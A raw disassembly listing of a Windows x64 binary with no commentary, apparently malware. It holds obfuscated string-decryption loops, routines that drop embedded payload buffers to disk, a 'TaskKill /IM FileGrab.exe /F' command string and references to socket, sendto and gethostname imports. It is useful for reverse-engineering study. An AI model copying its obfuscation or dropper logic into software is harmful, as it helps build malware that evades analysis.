sub bl, al
sub bl, 0x68
jmp 0x140214ef5
lea rax, [r9 + 1]
cmp r8, rax
jne 0x140214bdc
lea edx, [r11 + 0x52]
movzx eax, r10b
and al, dl
add al, al
movzx ebx, r10b
sub bl, al
sub bl, 0x3e
jmp 0x140214e88
lea rax, [r9 + 2]
cmp r8, rax
jne 0x140214c07
add r11b, 0xa
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
sub bl, 0x46
dec rdi
inc rdi
jmp 0x140214482
lea rax, [r9 + 5]
cmp r8, rax
jne 0x140214c30
add r11b, 0x1e
movzx eax, r10b
and al, r11b
mov ecx, reloc.WS2_32.dll_socket
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, r11b
jmp 0x140214f36
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14021492d
lea edx, [r11 + 0x7a]
movzx eax, r10b
and al, dl
add al, al
movzx ebx, r10b
sub bl, al
sub bl, 0x56
jmp 0x140214d6b
lea rax, [r9 + 1]
cmp r8, rax
jne 0x140214c91
add r11b, 0x18
movzx eax, r10b
and al, r11b
mov ecx, Ordinal_45
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, r11b
movzx eax, byte [rbp + rdi + 0xb0]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140214482
inc rax
cmp r8, rax
jne 0x140214cb7
add r11b, 0x74
movzx eax, r10b
and al, r11b
add al, al
movzx ebx, r10b
sub bl, al
sub bl, 0x2c
add bl, r11b
jmp 0x140214d9a
lea rax, [r9 + 3]
cmp r8, rax
jne 0x140214cdc
lea edx, [r11 - 0x30]
movzx eax, r10b
and al, dl
mov ecx, Ordinal_41
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
jmp 0x140214d6b
lea rax, [r9 + 5]
cmp r8, rax
jne 0x140214d05
sub r11b, 0x78
movzx eax, r10b
and al, r11b
mov ecx, 0x24
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, r11b
jmp 0x140214f33
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1402148ee
add r11b, 0x40
movzx eax, r10b
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, r11b
dec rdi
inc rdi
jmp 0x140214482
lea edx, [r11 - 0x50]
movzx eax, r10b
and al, dl
movzx ecx, r10b
sub cl, al
add cl, 0x18
lea ebx, [rcx + rcx]
jmp 0x140214ef5
lea edx, [r11 + 0xc]
movzx eax, r10b
and al, dl
add al, al
movzx ebx, r10b
sub bl, al
sub bl, r10b
sub bl, 0x54
add bl, dl
add r11b, 0x3a
movzx eax, r10b
and al, r11b
mov ecx, gethostname
sub cl, al
add cl, cl
add cl, r10b
add cl, r11b
movzx eax, cl
mov byte [rbp + rdi + 0xb0], al
inc r9
add rax, r9
sub rdi, rax
lea edx, [rdi + 0x68]
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
add cl, cl
add cl, r10b
add cl, dl
mov byte [rbp + rdi + 0xb0], cl
inc r8
mov rax, 0xffffffffffffffff
sub rax, r8
add rdi, rax
movzx eax, byte [rbp + rdi + 0xb0]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140214482
add r11b, 2
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
sub bl, 0xe
movzx eax, byte [rbp + rdi + 0xb0]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140214482
sub r11b, 0x12
movzx eax, r10b
and al, r11b
mov ecx, 0x3f
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, r11b
jmp 0x140214f36
sub r11b, 0x6e
movzx eax, r10b
and al, r11b
mov ecx, 1
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, r11b
jmp 0x140214f33
sub r11b, 0x26
movzx eax, r10b
and al, r11b
mov ecx, 5
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, r11b
dec rdi
inc rdi
jmp 0x140214482
lea edx, [r11 + 0x22]
movzx eax, r10b
and al, dl
mov ecx, 9
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, dl
sub r11b, 0x7e
movzx eax, r11b
and al, r10b
mov ecx, reloc.WS2_32.dll_gethostname
sub cl, al
add cl, cl
add cl, r11b
add cl, r10b
mov byte [rbp + rdi + 0xb0], cl
inc r9
dec rdi
inc rdi
jmp 0x140214482
lea ecx, [rdi + 0xe]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea ebx, [rcx + r10]
sub bl, 0x62
inc r9
dec rdi
inc rdi
jmp 0x140214482
movzx r11d, dil
lea edx, [r11 + 0x56]
movzx eax, r10b
and al, dl
add al, al
movzx ebx, r10b
sub bl, al
sub bl, 0x5a
add bl, dl
sub r11b, 0x22
movzx eax, r11b
and al, r10b
add al, al
movzx ecx, bl
sub cl, al
sub cl, 0x12
add cl, r11b
add cl, r10b
mov byte [rbp + rdi + 0xb0], cl
jmp 0x140214f33
lea edx, [rdi - 6]
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_setsockopt
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, dl
add r8, r9
movzx eax, bl
mov rcx, 0xffffffffffffffff
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x140214482
lea rax, [rdi + r15]
and sil, al
mov ecx, Ordinal_33
sub cl, sil
lea ebx, [rcx + rcx]
add bl, al
add bl, r10b
movzx eax, byte [rbp + rdi + 0xb0]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140214482
sub r11b, 0x1a
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
sub bl, 0x4a
jmp 0x140214480
sub r11b, 0x76
movzx eax, r10b
and al, r11b
mov ecx, Ordinal_33
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, r11b
jmp 0x140214470
lea rdx, [rbp + 0x1568b98]
jmp 0x140214fd0
lea rdx, [rbp + 0x17edcc6]
jmp 0x140214fd0
lea rdx, [rbp + 0xb0]
mov dword [rsp + 0x20], 1
mov r9d, 0x40
mov r8d, reloc.WLDAP32.dll_Ordinal_32
lea rcx, [rbp + 0x280]
call fcn.1400662c0
nop
mov rax, qword [rbp + 0x280]
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0x280]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::ios_base::operator_bool_void_const___ptr64]
test al, al
je 0x140215036
mov r8d, 0x5a00
lea rdx, [0x1402bf1e0]
lea rcx, [rbp + 0x280]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::write_char_const____ptr64__long_long___int64_____ptr64]
lea rcx, [rbp + 0x280]
call fcn.140066220
lea rdx, str.TaskKill__IM_FileGrab.exe__F
lea rcx, [rbp + 0x110]
call fcn.1400499a0
mov rcx, rax
call fcn.140218980
mov dword [rbp - 0x10], 0xa2b89b93
mov dword [rbp - 0xc], 0xdeacdbd5
mov dword [rbp - 8], 0xb6a0d8c7
mov dword [rbp - 4], 0xdcd4d4cd
mov dword [rbp], 0x979290d5
mov dword [rbp + 4], 0xf5e7ef9e
mov dword [rbp + 8], 0x9fe9ebe5
mov dword [rbp + 0xc], 0xe7e096e1
mov dword [rbp + 0x10], 0xf0a6e3ed
mov word [rbp + 0x14], 0xf2e2
mov byte [rbp + 0x16], 0x68
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x17], xmm0
mov qword [rbp + 0x27], rax
mov byte [rbp + 0x2f], al
movabs rsi, 0x97f647cd80638e8d
movabs r15, 0x27bbf69e82b8e5db
movabs r14, 0xc7e2d768812aaba7
movzx edx, byte [rbp + 0x3c0]
nop
mov r8, qword [0x1404e35f8]
mov r9, qword [0x1404e35f0]
nop
xor ebx, ebx
cmp rbx, 0x40
jae 0x140215b7c
movzx r11d, byte [rbp + rbx - 0x10]
mov edi, r11d
cmp r8, rbx
ja 0x140215b73
lea rax, [r9 + 1]
cmp r8, rax
jae 0x140215120
lea rcx, [rbx + rsi]
mov rax, rdi
and rax, rcx
imul rdx, rax, 0xfffffffffffffffe
add rdx, rdi
add rdx, rcx
add dl, 0x25
jmp 0x14021514d
je 0x140215b0b
lea rax, [r9 + 3]
cmp r8, rax
je 0x140215a8d
lea rax, [r9 + 2]
cmp r8, rax
je 0x140215a5d
lea rax, [r9 + 6]
cmp r8, rax
je 0x140215a21
movzx r10d, bl
cmp r9, rbx
ja 0x140215b6a
lea rax, [r9 + 0x10]
cmp r8, rax
jae 0x14021517a
lea ecx, [r10 - 0x6f]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
add dl, 9
jmp 0x1402151c0
lea rax, [r9 + 1]
cmp r8, rax
je 0x1402159e0
lea rax, [r9 + 2]
cmp r8, rax
je 0x1402159be
lea rax, [r9 + 3]
cmp r8, rax
je 0x1402159af
lea rax, [r9 + 5]
cmp r8, rax
je 0x140215993
lea rax, [r9 + 7]
cmp r8, rax
je 0x140215977
nop dword [rax + rax]
lea rax, [r9 + r8]
cmp rax, rbx
jbe 0x1402156d9
nop dword [rax]
lea rax, [r9 + 0x42]
cmp r8, rax
je 0x1402156bf
lea rax, [r9 + 0xa]
cmp r8, rax
je 0x140215696
lea rax, [r9 + 0x40]
cmp r8, rax
je 0x140215670
lea rax, [r9 + 9]
cmp r8, rax
je 0x140215656
lea rax, [r9 + 3]
cmp r8, rax
je 0x140215636
lea rax, [r9 + 0x41]
cmp r8, rax
je 0x140215616
lea rax, [r9 + 0x3e8]
cmp r8, rax
je 0x1402155fc
lea rax, [r9 + 0x7a]
cmp r8, rax
je 0x1402155e0
lea rax, [r9 + 0x200]
cmp r8, rax
je 0x1402155b2
lea rax, [r9 + 0x28]
cmp r8, rax
je 0x1402151d0
lea r8, [r9 + 5]
lea r9, [r8 + 8]
lea rax, [r9 + 0xa]
cmp r8, rax
jb 0x140215b4e
lea rax, [r9 + 4]
cmp r8, rax
jb 0x140215b32
lea rax, [r9 + 0x5a]
cmp r8, rax
jb 0x1402153ab
lea rax, [r9 + 0x400]
cmp r8, rax
jb 0x140215391
lea rax, [r9 + 0x42]
cmp r8, rax
jb 0x140215377
lea rax, [r9 + 0x3e8]
cmp r8, rax
jb 0x140215569
lea rax, [r9 + 0x40]
cmp r8, rax
jb 0x140215521
lea rax, [r9 + 9]
cmp r8, rax
jb 0x1402154e6
lea rax, [r9 + 3]
cmp r8, rax
jb 0x1402154c3
lea rax, [r9 + 0x41]
cmp r8, rax
jb 0x1402151d0
lea r8, [r9 + 0x2a]
lea r9, [r8 + 2]
lea rax, [r9 + 0x1000]
cmp r8, rax
ja 0x140215499
lea rax, [r9 + 0x64]
cmp r8, rax
ja 0x140215479
lea rax, [r9 + 0x400]
cmp r8, rax
ja 0x14021545f
lea rax, [r9 + 0x42]
cmp r8, rax
ja 0x140215443
lea rax, [r9 + 0xa]
cmp r8, rax
ja 0x140215423
lea rax, [r9 + 4]
cmp r8, rax
ja 0x140215406
lea rax, [r9 + 0x5a]
cmp r8, rax
ja 0x1402153e4
lea rax, [r9 + 0x41]
cmp r8, rax
ja 0x1402153c7
lea rax, [r9 + 0x3e8]
cmp r8, rax
ja 0x1402151d0
lea r8, [r9 + 0x20]
lea r9, [r8 + 0x40]
jmp 0x1402151d0
lea ecx, [r10 - 0x71]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
add dl, 0x17
jmp 0x1402151c0
lea ecx, [r10 + 0x75]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x33
jmp 0x140215151
add r10b, 0x5b
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x7d
jmp 0x1402150f5
lea edx, [r10 - 0x78]
movzx eax, dl
and al, r11b
mov ecx, 0x24
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
jmp 0x1402159f7
add r10b, 0x54
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x4c
dec rbx
inc rbx
jmp 0x1402150e2
lea edx, [r10 + 0x3a]
movzx eax, dl
and al, r11b
mov ecx, gethostname
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
jmp 0x140215a3c
add r10b, 0x20
movzx eax, r10b
and al, r11b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
jmp 0x140215a72
add r10b, 6
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x2a
jmp 0x140215a75
lea ecx, [r10 - 0x14]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x74
jmp 0x140215aa5
sub r10b, 0x2e
movzx eax, r10b
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_33
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
jmp 0x140215ace
sub r10b, 0x48
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 8
movzx eax, byte [rbp + rbx - 0x10]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1402150e2
sub r10b, 9
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
add dl, 0x3f
mov byte [rbp + rbx - 0x10], dl
inc rbx
jmp 0x1402150e2
lea ecx, [r10 - 0x23]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0xb
cmp r9, 0x2a
jb 0x1402154da
lea edx, [r10 + 0x2e]
movzx eax, r11b
and al, dl
mov ecx, Ordinal_33
sub cl, al
add cl, cl
add cl, r11b
add cl, dl
lea edx, [rcx + rcx]
jmp 0x1402159f7
lea ecx, [r10 - 0x3d]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x55
cmp r8, 0x42
jae 0x140215943
lea rax, [r9 + 0x80]
cmp r8, rax
jbe 0x140215852
lea edx, [r10 + 0x2a]
movzx eax, r11b
and al, dl
add al, al
movzx ecx, r11b
sub cl, al
sub dl, 0x26
add dl, cl
jmp 0x1402154fb
lea ecx, [r10 - 0x57]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
add dl, 0x61
lea rax, [r9 + r8]
cmp rax, 3
je 0x14021595d
lea rax, [r9 + 0x61]
cmp r8, rax
jbe 0x1402157ae
lea edx, [r10 - 0x67]
movzx eax, r11b
and al, dl
add al, al
movzx ecx, r11b
sub cl, al
sub dl, 0x2f
add dl, cl
jmp 0x140215536
add r10b, 0x66
movzx eax, r10b
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_27
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
movzx eax, byte [rbp + rbx - 0x10]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1402150e2
add r10b, 0x4c
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x14
jmp 0x140215ace
lea ecx, [r10 + 0x32]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x5e
jmp 0x140215aa5
add r10b, 0x18
movzx eax, r10b
and al, r11b
mov ecx, Ordinal_45
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
jmp 0x140215a75
sub r10b, 2
movzx eax, r10b
and al, r11b
mov ecx, 7
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
jmp 0x140215a72
lea ecx, [r10 - 0x1c]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x3c
jmp 0x140215a3c
sub r10b, 0x36
movzx eax, r10b
and al, r11b
mov ecx, 0x3d
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
dec rbx
inc rbx
jmp 0x1402150e2
sub r10b, 0x50
movzx eax, r10b
and al, r11b
mov ecx, Ordinal_27
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
inc r9
dec rbx
inc rbx
jmp 0x1402150e2
lea ecx, [r10 - 0x6a]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x1a
jmp 0x1402159f7
lea rax, [r9 + 3]
cmp r8, rax
jae 0x1402156fc
lea ecx, [r10 - 0x73]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
add dl, 0x25
jmp 0x14021557e
lea rax, [r9 + 1]
cmp r8, rax
jne 0x140215733
add r10b, 0x22
movzx eax, r10b
and al, r11b
mov ecx, 9
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
movzx eax, byte [rbp + rbx - 0x10]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1402150e2
lea rax, [r9 + 2]
cmp r8, rax
jne 0x140215756
lea ecx, [r10 + 0x56]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x5a
jmp 0x140215aa5
lea rax, [r9 + 5]
cmp r8, rax
jne 0x14021577f
sub r10b, 0x76
movzx eax, r11b
and al, r10b
mov ecx, Ordinal_33
sub cl, al
lea edx, [rcx + rcx]
add dl, r11b
add dl, r10b
jmp 0x140215a72
lea rax, [r9 + 4]
cmp r8, rax
jne 0x14021557e
sub r10b, 0x42
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea edx, [r10 + r11]
sub dl, 0x32
dec rbx
inc rbx
jmp 0x1402150e2
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1402157c9
lea edx, [r10 - 0x4d]
movzx eax, r11b
and al, dl
add dl, 0x1b
jmp 0x1402159ed
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1402157f4
sub r10b, 0x19
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea edx, [r10 + r11]
sub dl, 0x51
dec rbx
inc rbx
jmp 0x1402150e2
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14021581b
add r10b, 0x69
movzx eax, r11b
and al, r10b
add al, al
movzx edx, r11b
sub dl, al
add dl, 0x21
add dl, r10b
jmp 0x140215ace
lea rax, [r9 + 8]
cmp r8, rax
jne 0x140215536
sub r10b, 0x7d
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea edx, [r10 + r11]
add dl, 0x6b
movzx eax, byte [rbp + rbx - 0x10]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1402150e2
lea rcx, [r9 + 1]
cmp r8, rcx
jne 0x140215889
add r10b, 0x44
movzx eax, r11b
and al, r10b
mov ecx, reloc.WS2_32.dll_select
sub cl, al
lea edx, [rcx + rcx]
add dl, r11b
add dl, r10b
movzx eax, byte [rbp + rbx - 0x10]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1402150e2
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1402158ae
lea edx, [r10 + 0x78]
movzx eax, r11b
and al, dl
add al, al
movzx ecx, r11b
sub cl, al
sub dl, 0x48
add dl, cl
jmp 0x140215aa5
lea rax, [rcx + 1]
cmp r8, rax
jne 0x1402158d7
sub r10b, 0x6e
movzx eax, r11b
and al, r10b
mov ecx, 1
sub cl, al
lea edx, [rcx + rcx]
add dl, r11b
add dl, r10b
jmp 0x140215a75
lea rax, [r9 + 3]
cmp r8, rax
jne 0x140215900
sub r10b, 0x54
movzx eax, r11b
and al, r10b
mov ecx, Ordinal_41
sub cl, al
lea edx, [rcx + rcx]
add dl, r11b
add dl, r10b
jmp 0x140215a72
lea rax, [r9 + 5]
cmp r8, rax
jne 0x14021591b
lea edx, [r10 - 0x3a]
movzx eax, r11b
and al, dl
sub dl, 0x6a
jmp 0x140215a32
lea rax, [r9 + 6]
cmp r8, rax
jne 0x1402154fb
lea edx, [r10 + 0x14]
movzx eax, r11b
and al, dl
mov ecx, Ordinal_60
sub cl, al
add cl, cl
add cl, r11b
jmp 0x1402159f5
lea edx, [r10 + 0x48]
movzx eax, r11b
and al, dl
movzx ecx, r11b
sub cl, al
add cl, 4
add cl, cl
jmp 0x140215a3a
lea edx, [r10 + 0x62]
movzx eax, r11b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_41
sub cl, al
add cl, cl
add dl, cl
jmp 0x140215aa5
lea edx, [r10 + 0x47]
movzx eax, r11b
and al, dl
add al, al
movzx ecx, r11b
sub cl, al
add dl, 0xf
add dl, cl
jmp 0x140215aa5
add r10b, 0x13
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea edx, [r10 + r11]
add dl, 0x7b
jmp 0x140215a72
lea edx, [r10 - 7]
movzx eax, r11b
and al, dl
add dl, 0x31
jmp 0x140215a32
sub r10b, 0x21
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea edx, [r10 + r11]
sub dl, 0x19
dec rbx
inc rbx
jmp 0x1402150e2
lea edx, [r10 - 0x55]
movzx eax, r11b
and al, dl
add dl, 0x53
add al, al
movzx ecx, r11b
sub cl, al
add dl, cl
sub r10b, 0x45
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
sub r10b, 0x1d
add r10b, r11b
mov byte [rbp + rbx - 0x10], r10b
inc r9
dec rbx
inc rbx
jmp 0x1402150e2
movzx r10d, bl
lea edx, [r10 + 0x29]
movzx eax, r11b
and al, dl
sub dl, 0x1f
add al, al
movzx ecx, r11b
sub cl, al
add dl, cl
sub r10b, 0x2b
movzx eax, r10b
and al, r11b
add al, al
movzx ecx, dl
sub cl, al
add cl, 0x2d
add cl, r10b
add cl, r11b
mov byte [rbp + rbx - 0x10], cl
jmp 0x140215a72
lea ecx, [rbx + 0xf]
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea edx, [rcx + r11]
sub dl, 0x69
add r8, r9
movzx eax, dl
mov rcx, 0xffffffffffffffff
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x1402150e2
lea rax, [rbx + r15]
and dil, al
add dil, dil
sub al, dil
lea edx, [r11 + rax]
add dl, 3
movzx r10d, bl
sub r10b, 0x11
movzx eax, r11b
and al, r10b
add al, al
movzx ecx, r11b
sub cl, al
add cl, 0x77
add cl, r10b
movzx eax, cl
mov byte [rbp + rbx - 0x10], al
inc r9
add rax, r9
sub rbx, rax
lea ecx, [rbx + 0x7c]
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
sub r11b, 0x64
add r11b, cl
mov byte [rbp + rbx - 0x10], r11b
inc r8
mov rax, 0xffffffffffffffff
sub rax, r8
add rbx, rax
movzx eax, byte [rbp + rbx - 0x10]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1402150e2
lea rax, [rbx + r14]
and dil, al
add dil, dil
sub al, dil
lea edx, [r11 + rax]
add dl, 0x6f
movzx eax, byte [rbp + rbx - 0x10]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1402150e2
add r10b, 0x41
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea edx, [r10 + r11]
add dl, 0x39
jmp 0x1402150e0
add r10b, 0x27
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea edx, [r10 + r11]
sub dl, 0x11
jmp 0x1402150d0
lea rdx, [rbp + 0x163c6ac]
jmp 0x140215b80
lea rdx, [rbp + 0x1075539]
jmp 0x140215b80
lea rdx, [rbp - 0x10]
mov dword [rsp + 0x20], 1
mov r9d, 0x40
mov r8d, reloc.WLDAP32.dll_Ordinal_32
lea rcx, [rbp + 0x170]
call fcn.1400662c0
nop
mov rax, qword [rbp + 0x170]
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0x170]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::ios_base::operator_bool_void_const___ptr64]
test al, al
je 0x140215be6
mov r8d, 0x23800
lea rdx, [0x14029b9e0]
lea rcx, [rbp + 0x170]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::write_char_const____ptr64__long_long___int64_____ptr64]
lea rcx, [rbp + 0x170]
call fcn.140066220
mov dword [rbp - 0x40], 0xe0e9f8f4
mov dword [rbp - 0x3c], 0xe3e2eccf
mov dword [rbp - 0x38], 0xc6cba6b0
mov dword [rbp - 0x34], 0xdbd7f38c
mov dword [rbp - 0x30], 0xcad8f6d5
mov dword [rbp - 0x2c], 0x2fdb93c6
mov dword [rbp - 0x28], 0xfd9581dd
mov byte [rbp - 0x24], 0xbc
xor eax, eax
mov qword [rbp - 0x23], rax
mov dword [rbp - 0x1b], eax
movabs rsi, 0x880e6898bfb4a214
movabs r15, 0xb864dc2d3df06e8c
movabs r14, 0x982b39ca3f1de63c
movzx edx, byte [rbp + 0x3c0]
nop dword [rax]
mov r8, qword [0x1404e35f8]
mov r9, qword [0x1404e35f0]
nop
xor ebx, ebx
cmp rbx, 0x29
jae 0x140216775
movzx r11d, byte [rbp + rbx - 0x40]
mov edi, r11d
cmp r8, rbx
ja 0x14021676c
lea rcx, [r9 + 1]
cmp r8, rcx
jae 0x140215ca0
lea rcx, [rbx + rsi]
mov rax, rcx
and rax, rdi
imul rdx, rax, 0xfffffffffffffffe
add rdx, rcx
add rdx, rdi
add dl, 0x74
jmp 0x140215cda
je 0x1402166f9
lea rax, [r9 + 3]
cmp r8, rax
je 0x140216677
lea rax, [r9 + 4]
cmp r8, rax
je 0x140216624
lea rax, [rcx + 1]
cmp r8, rax
je 0x140216605
lea rax, [r9 + 5]
cmp r8, rax
je 0x1402165c2
movzx r10d, bl
nop
cmp r9, rbx
ja 0x140216763
lea rax, [r9 + 0x61]
cmp r8, rax
jae 0x140215d09
lea ecx, [r10 - 0x5c]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x7c
jmp 0x140215d40
lea rax, [r9 + 1]
cmp r8, rax
je 0x1402165a8
inc rax
cmp r8, rax
je 0x14021657f
lea rax, [r9 + 3]
cmp r8, rax
je 0x140216559
lea rax, [r9 + 7]
cmp r8, rax
je 0x14021653f
nop dword [rax]
lea rax, [r9 + r8]
cmp rax, rbx
jbe 0x140216288
nop dword [rax]
lea rcx, [r9 + 0x2a]
cmp r8, rcx
je 0x14021626e
lea rax, [r9 + 0x200]
cmp r8, rax
je 0x140216249
lea rax, [r9 + 0x3e8]
cmp r8, rax
je 0x140216227
lea rax, [r9 + 0x10]
cmp r8, rax
je 0x140216312
lea rax, [r9 + 2]
cmp r8, rax
je 0x140216207
lea rax, [r9 + 0x400]
cmp r8, rax
je 0x1402161e7
lea rax, [r9 + 0x20]
cmp r8, rax
je 0x1402161ca
lea rax, [r9 + 3]
cmp r8, rax
je 0x1402161aa
lea rax, [r9 + 0x1000]
cmp r8, rax
je 0x14021617c
lea rax, [r9 + 0x28]
cmp r8, rax
je 0x140215d50
mov r8, rcx
lea r9, [rcx + 4]
lea rax, [r9 + 0x200]
cmp rcx, rax
jb 0x140216743
lea rax, [r9 + 0xa]
cmp rcx, rax
jb 0x140216723
lea rax, [r9 + 1]
cmp rcx, rax
jb 0x140215f4c
lea rax, [r9 + 0x3e8]
cmp rcx, rax
jb 0x140215f2f
lea rax, [r9 + 0x10]
cmp rcx, rax
jb 0x140215f15
lea rax, [r9 + 2]
cmp rcx, rax
jb 0x140216130
lea rax, [r9 + 0x400]
cmp rcx, rax
jb 0x1402160ea
lea rax, [r9 + 0x20]
cmp rcx, rax
jb 0x1402160b0
lea rax, [r9 + 3]
cmp rcx, rax
jb 0x14021608d
lea rax, [r9 + 0x1000]
cmp rcx, rax
jb 0x140215d50
lea r8, [r9 + 9]
lea r9, [r8 + 0x28]
lea rax, [r9 + 0x2a]
cmp r8, rax
ja 0x140216063
lea rax, [r9 + 0x200]
cmp r8, rax
ja 0x140216047
lea rax, [r9 + 0xa]
cmp r8, rax
ja 0x14021602d
lea rax, [r9 + 1]
cmp r8, rax
ja 0x140216011
lea rax, [r9 + 0x3e8]
cmp r8, rax
ja 0x140215ff5
lea rax, [r9 + 0x10]
cmp r8, rax
ja 0x140215fd8
lea rax, [r9 + 2]
cmp r8, rax
ja 0x140215fb2
lea rax, [r9 + 0x400]
cmp r8, rax
ja 0x140215f89
lea rax, [r9 + 0x20]
cmp r8, rax
ja 0x140215f6c
lea rax, [r9 + 3]
cmp r8, rax
ja 0x140215d50
lea r8, [r9 + 0x80]
lea r9, [r8 + 0x1000]
jmp 0x140215d50
lea ecx, [r10 - 0x24]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 4
jmp 0x140215d40
lea edx, [r10 - 0x4c]
movzx eax, dl
and al, r11b
mov ecx, 0xa
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
jmp 0x140215ce0
sub r10b, 0x74
movzx eax, r10b
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_22
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
jmp 0x140215c75
lea edx, [r10 + 0x20]
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
jmp 0x1402165db
sub r10b, 8
movzx eax, r10b
and al, r11b
mov ecx, Ordinal_32
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
inc r9
dec rbx
inc rbx
jmp 0x140215c62
sub r10b, 0x30
movzx eax, r10b
and al, r11b
